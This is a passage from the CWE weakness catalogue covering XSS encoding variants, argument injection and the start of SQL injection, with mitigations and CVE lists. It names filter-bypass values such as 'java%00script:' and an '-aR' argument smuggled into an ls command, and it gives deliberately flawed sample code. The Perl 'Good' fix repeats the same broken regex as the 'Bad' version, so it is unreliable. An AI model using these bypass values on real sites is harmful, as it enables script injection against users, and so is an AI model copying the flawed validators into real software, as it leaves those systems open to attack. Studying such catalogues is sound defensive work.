CVE-2002-0117	Encoded "javascript" in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-0117
CVE-2002-0118	Encoded "javascript" in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-0118

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413

Nature	Type	ID	Name	V	Page
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS using Script Via Encoded URI Schemes
Software Fault Patterns	SFP24		Tainted input to command

CWE-85: Doubled Character XSS Manipulations

Weakness ID : 85

Structure : Simple

Abstraction : Variant



Description

The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163
PeerOf		675	Multiple Operations on Resource in Single-Operation Context	1487

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

Potential Mitigations

Phase: Implementation

Resolve all filtered input to absolute or canonical representations before processing.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site.

We often encounter data from the request that is reflected by the application server or the

application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.



Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2002-2086	XSS using "<script". https://www.cve.org/CVERecord?id=CVE-2002-2086
CVE-2000-0116	Encoded "javascript" in IMG tag. https://www.cve.org/CVERecord?id=CVE-2000-0116
CVE-2001-1157	Extra "<" in front of SCRIPT tag. https://www.cve.org/CVERecord?id=CVE-2001-1157

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			DOUBLE - Doubled character XSS manipulations, e.g. "<script"

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
245	XSS Using Doubled Characters

CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

Weakness ID : 86

Structure : Simple

Abstraction : Variant

Description

The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.




Extended Description

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the product may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1057
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163
PeerOf		184	Incomplete List of Disallowed Inputs	459

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2004-0595	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse. https://www.cve.org/CVERecord?id=CVE-2004-0595

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Invalid Characters in Identifiers
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
85	AJAX Footprinting

CAPEC-ID Attack Pattern Name

247 XSS Using Invalid Characters

CWE-87: Improper Neutralization of Alternate XSS Syntax**Weakness ID :** 87**Structure :** Simple**Abstraction :** Variant**Description**

The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

Potential Mitigations**Phase: Implementation**

Resolve all input to absolute or canonical representations before processing.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which

can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:

Example Language: Java

(Bad)

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```




The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

Observed Examples

Reference	Description
CVE-2002-0738	XSS using "&={script}". https://www.cve.org/CVERecord?id=CVE-2002-0738

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate XSS syntax

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
199	XSS Using Alternate Syntax

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Weakness ID : 88

Structure : Simple

Abstraction : Base

Description

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

Extended Description

When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137


Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433


Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2311

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Language : PHP (*Prevalence = Often*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Alter Execution Logic	
Availability	Read Application Data	
Other	Modify Application Data	
<i>An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.</i>		

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Parameterization

Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, `escapeshellarg()` can be used to escape a single argument to `system()`, or `exec()` can be called with an array of arguments. In C, code can often be refactored from using `system()` - which accepts a single string - to using `exec()`, which requires separate function arguments for each parameter.

Effectiveness = High

Phase: Architecture and Design*Strategy = Input Validation*

Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Phase: Implementation*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

Consider the following program. It intends to perform an "ls -l" on an input filename. The `validate_name()` subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.

Example Language: Perl

(Bad)

```
my $arg = GetArgument("filename");
do_listing($arg);
sub do_listing {
    my($fname) = @_;
    if (! validate_name($fname)) {
        print "Error: name is not well-formed!\n";
        return;
    }
    # build command
    my $cmd = "/bin/ls -l $fname";
    system($cmd);
}
sub validate_name {
    my($name) = @_;
    if ($name =~ /^[w\W-]+$/) {
        return(1);
    }
    else {
        return(0);
    }
}
```

However, `validate_name()` allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories.

There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using `system()` altogether, instead relying on internal functions.

Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option.

Another fix might be to change the regular expression used in `validate_name` to force the first character of the filename to be a letter or number, such as:

Example Language: Perl

(Good)

```
if ($name =~ /^[w\W-]+$/) ...
```

Example 2:

CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer.

The program calls PHP's `mail()` function to compose and send mail. The fifth argument to `mail()` is a set of parameters. The program intends to provide a "-fSENDER" parameter, where SENDER is

expected to be a well-formed email address. The program has already validated the e-mail address before invoking mail(), but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional "-o" argument (listing an output file) and a "-X" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250].

Observed Examples

Reference	Description
CVE-2022-36069	Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution. https://www.cve.org/CVERecord?id=CVE-2022-36069
CVE-1999-0113	Canonical Example - "-froot" argument is passed on to another program, where the "-f" causes execution as user "root" https://www.cve.org/CVERecord?id=CVE-1999-0113
CVE-2001-0150	Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands. https://www.cve.org/CVERecord?id=CVE-2001-0150
CVE-2001-0667	Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed. https://www.cve.org/CVERecord?id=CVE-2001-0667
CVE-2002-0985	Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands. https://www.cve.org/CVERecord?id=CVE-2002-0985
CVE-2003-0907	Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL. https://www.cve.org/CVERecord?id=CVE-2003-0907
CVE-2004-0121	Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs. https://www.cve.org/CVERecord?id=CVE-2004-0121
CVE-2004-0473	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified. https://www.cve.org/CVERecord?id=CVE-2004-0473
CVE-2004-0480	Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file. https://www.cve.org/CVERecord?id=CVE-2004-0480
CVE-2004-0489	SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option. https://www.cve.org/CVERecord?id=CVE-2004-0489
CVE-2004-0411	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified. https://www.cve.org/CVERecord?id=CVE-2004-0411
CVE-2005-4699	Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter. https://www.cve.org/CVERecord?id=CVE-2005-4699
CVE-2006-1865	Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2006-1865
CVE-2006-2056	Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. https://www.cve.org/CVERecord?id=CVE-2006-2056
CVE-2006-2057	Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. https://www.cve.org/CVERecord?id=CVE-2006-2057
CVE-2006-2058	Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API. https://www.cve.org/CVERecord?id=CVE-2006-2058
CVE-2006-2312	Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches. https://www.cve.org/CVERecord?id=CVE-2006-2312
CVE-2006-3015	Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI. https://www.cve.org/CVERecord?id=CVE-2006-3015
CVE-2006-4692	Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability." https://www.cve.org/CVERecord?id=CVE-2006-4692
CVE-2006-6597	Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe. https://www.cve.org/CVERecord?id=CVE-2006-6597
CVE-2007-0882	Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account. https://www.cve.org/CVERecord?id=CVE-2007-0882
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible. https://www.cve.org/CVERecord?id=CVE-2001-1246

Reference	Description
CVE-2019-13475	Argument injection allows execution of arbitrary commands by injecting a "-exec" option, which is executed by the command. https://www.cve.org/CVERecord?id=CVE-2019-13475
CVE-2016-10033	Argument injection in mail-processing function allows writing unexpected files and executing programs using technically-valid email addresses that insert "-o" and "-X" switches. https://www.cve.org/CVERecord?id=CVE-2016-10033

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2344
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2348
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	2356
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2376
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2378
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2389
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	2460
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Notes

Relationship

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Argument Injection or Modification
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	Imprecise	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	30		Mail Command Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads

CAPEC-ID	Attack Pattern Name
88	OS Command Injection
137	Parameter Injection
174	Flash Parameter Injection
460	HTTP Parameter Pollution (HPP)

References

[REF-859]Steven Christey. "Argument injection issues". < <https://seclists.org/bugtraq/2007/Feb/234ed> >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1030]Eldar Marcussen. "Security issues with using PHP's escapeshellarg". 2013 November 3. < <https://baesystemsai.blogspot.com/2013/11/security-issues-with-using-phps.html> >.

[REF-1249]Dawid Golunski. "PHPMailer < 5.2.18 Remote Code Execution [CVE-2016-10033]". 2016 December 5. < <https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html> >.

[REF-1250]Dawid Golunski. "Pwning PHP mail() function For Fun And RCE". 2017 May 3. < <https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html> >.

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID : 89

Structure : Simple

Abstraction : Base

Description

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Extended Description


Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.



SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or product package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1850

Nature	Type	ID	Name	Page
ParentOf		564	SQL Injection: Hibernate	1282
CanFollow		456	Missing Initialization of a Variable	1089

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137


Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf		564	SQL Injection: Hibernate	1282

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2311

Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)

Nature	Type	ID	Name	Page
ParentOf		564	SQL Injection: Hibernate	1282

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Database Server (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.</i>	
Access Control	Bypass Protection Mechanism <i>If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.</i>	
Access Control	Bypass Protection Mechanism <i>If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.</i>	
Integrity	Modify Application Data <i>Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.</i>	

Detection Methods

Automated Static Analysis

